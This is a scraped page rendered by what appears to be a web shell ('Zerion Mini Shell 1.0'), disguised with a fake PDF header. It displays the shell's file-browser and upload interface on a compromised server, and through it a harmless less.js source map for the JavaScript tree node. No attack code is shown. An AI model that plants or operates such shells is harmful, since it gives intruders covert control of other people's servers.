%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/specpages-backup/node_modules/less/lib/less/tree/
Upload File :
Create Path :
Current File : //www/specpages-backup/node_modules/less/lib/less/tree/javascript.js.map

{"version":3,"file":"javascript.js","sourceRoot":"","sources":["../../../src/less/tree/javascript.js"],"names":[],"mappings":";;;;;AAAA,gEAAwC;AACxC,0DAAoC;AACpC,oDAA8B;AAC9B,0DAAoC;AAEpC,IAAM,UAAU,GAAG,UAAS,MAAM,EAAE,OAAO,EAAE,KAAK,EAAE,eAAe;IAC/D,IAAI,CAAC,OAAO,GAAG,OAAO,CAAC;IACvB,IAAI,CAAC,UAAU,GAAG,MAAM,CAAC;IACzB,IAAI,CAAC,MAAM,GAAG,KAAK,CAAC;IACpB,IAAI,CAAC,SAAS,GAAG,eAAe,CAAC;AACrC,CAAC,CAAC;AAEF,UAAU,CAAC,SAAS,GAAG,IAAI,sBAAU,EAAE,CAAC;AAExC,UAAU,CAAC,SAAS,CAAC,IAAI,GAAG,UAAS,OAAO;IACxC,IAAM,MAAM,GAAG,IAAI,CAAC,kBAAkB,CAAC,IAAI,CAAC,UAAU,EAAE,OAAO,CAAC,CAAC;IACjE,IAAM,IAAI,GAAG,OAAO,MAAM,CAAC;IAE3B,IAAI,IAAI,KAAK,QAAQ,IAAI,CAAC,KAAK,CAAC,MAAM,CAAC,EAAE;QACrC,OAAO,IAAI,mBAAS,CAAC,MAAM,CAAC,CAAC;KAChC;SAAM,IAAI,IAAI,KAAK,QAAQ,EAAE;QAC1B,OAAO,IAAI,gBAAM,CAAC,OAAI,MAAM,OAAG,EAAE,MAAM,EAAE,IAAI,CAAC,OAAO,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;KACvE;SAAM,IAAI,KAAK,CAAC,OAAO,CAAC,MAAM,CAAC,EAAE;QAC9B,OAAO,IAAI,mBAAS,CAAC,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC;KAC3C;SAAM;QACH,OAAO,IAAI,mBAAS,CAAC,MAAM,CAAC,CAAC;KAChC;AACL,CAAC,CAAC;AAEF,UAAU,CAAC,SAAS,CAAC,IAAI,GAAG,YAAY,CAAC;AACzC,kBAAe,UAAU,CAAC","sourcesContent":["import JsEvalNode from './js-eval-node';\nimport Dimension from './dimension';\nimport Quoted from './quoted';\nimport Anonymous from './anonymous';\n\nconst JavaScript = function(string, escaped, index, currentFileInfo) {\n    this.escaped = escaped;\n    this.expression = string;\n    this._index = index;\n    this._fileInfo = currentFileInfo;\n};\n\nJavaScript.prototype = new JsEvalNode();\n\nJavaScript.prototype.eval = function(context) {\n    const result = this.evaluateJavaScript(this.expression, context);\n    const type = typeof result;\n\n    if (type === 'number' && !isNaN(result)) {\n        return new Dimension(result);\n    } else if (type === 'string') {\n        return new Quoted(`\"${result}\"`, result, this.escaped, this._index);\n    } else if (Array.isArray(result)) {\n        return new Anonymous(result.join(', '));\n    } else {\n        return new Anonymous(result);\n    }\n};\n\nJavaScript.prototype.type = 'JavaScript';\nexport default JavaScript;\n"]}

Zerion Mini Shell 1.0